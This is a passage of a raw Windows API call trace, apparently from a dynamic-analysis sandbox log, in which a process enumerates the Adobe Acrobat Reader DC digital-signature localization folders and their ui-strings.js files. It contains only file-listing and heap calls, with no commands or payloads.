hFindFile=0x3315bf0) returned 1 [0277.131] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.131] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0277.131] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.131] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\fr-fr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0277.132] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.132] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2aeb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.132] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2aeb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.132] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0277.132] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.132] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0277.132] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.132] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\fr-ma\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0277.133] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.133] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2aeb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.134] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2aeb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.134] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0277.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.134] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0277.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.134] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\he-il\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0277.134] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.134] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0277.134] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0277.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.135] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0277.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.135] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\hr-hr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0277.135] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.135] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x25fb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.135] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x25fb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.135] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0277.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.135] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0277.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.136] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\hu-hu\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0277.137] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.137] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x298d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.137] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x298d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.137] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0277.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.137] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0277.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.137] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\it-it\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0277.138] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.138] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x25a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.138] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x25a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.138] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0277.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.138] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0277.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.138] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ja-jp\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0277.139] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.139] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a85, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.139] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a85, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.139] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0277.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.139] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0277.140] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.140] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ko-kr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0277.141] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.141] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2592, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.141] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2592, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.141] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0277.141] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.141] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0277.141] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0277.141] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\nb-no\\*", lpFindFileData=0x396dcac | out: 